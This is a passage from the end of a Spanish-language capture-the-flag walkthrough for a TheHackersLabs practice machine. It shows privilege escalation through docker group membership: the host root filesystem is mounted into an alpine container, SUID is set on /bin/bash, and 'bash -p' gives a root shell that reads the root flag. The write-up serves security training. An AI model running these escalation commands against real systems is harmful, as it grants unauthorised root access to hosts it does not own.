uid=1000(elliot) gid=1000(elliot) groups=1000(elliot),46(plugdev),110(docker)
Gracias a esto, tenemos una forma de escalar privilegios.
La encontraremos en la guía de GTFOBins:
Utilizaremos el siguiente comando:
Ejecutémoslo sin él sudo:
elliot@TheHackersLabs-Runners:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt bash
Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine
9824c27679d3: Pull complete
Digest: sha256:4bcff63911fcb4448bd4fdacec207030997caf25e9bea4045fa6c8c44de311d1
Status: Downloaded newer image for alpine:latest
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@782203de7ba7:/# whoami
root
Excelente, creamos una montura completa de la raíz.
Esto nos permite realizar cambios en el contenedor que se verán reflejados en la máquina principal.
Entonces, podemos darle permisos SUID a la Bash.
Sal un momento del contendor y revisa los permisos de la Bash:
elliot@TheHackersLabs-Runners:~$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
Ejecuta el mismo comando para crear el contenedor de nuevo y dale los permisos SUID a la Bash:
root@9dce80bb4638:/# chmod u+s /bin/bash
root@9dce80bb4638:/# exit
exit
Una vez que salgas, revisa otra vez los permisos de la Bash:
elliot@TheHackersLabs-Runners:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
Ya tiene permisos SUID.
Ejecuta la Bash con privilegios:
elliot@TheHackersLabs-Runners:~$ bash -p
bash-5.2# whoami
root
Somos Root.
Obtengamos la última flag:
bash-5.2# cd /root
bash-5.2# ls
blog blog.sql docker-compose.yml Dockerfile root.txt
bash-5.2# cat root.txt
...
Y con esto, terminamos la máquina.
Links de Investigación
- https://portswigger.net/web-security/sql-injection/cheat-sheet
- https://github.com/DominicBreuker/pspy
- https://gtfobins.github.io/gtfobins/docker/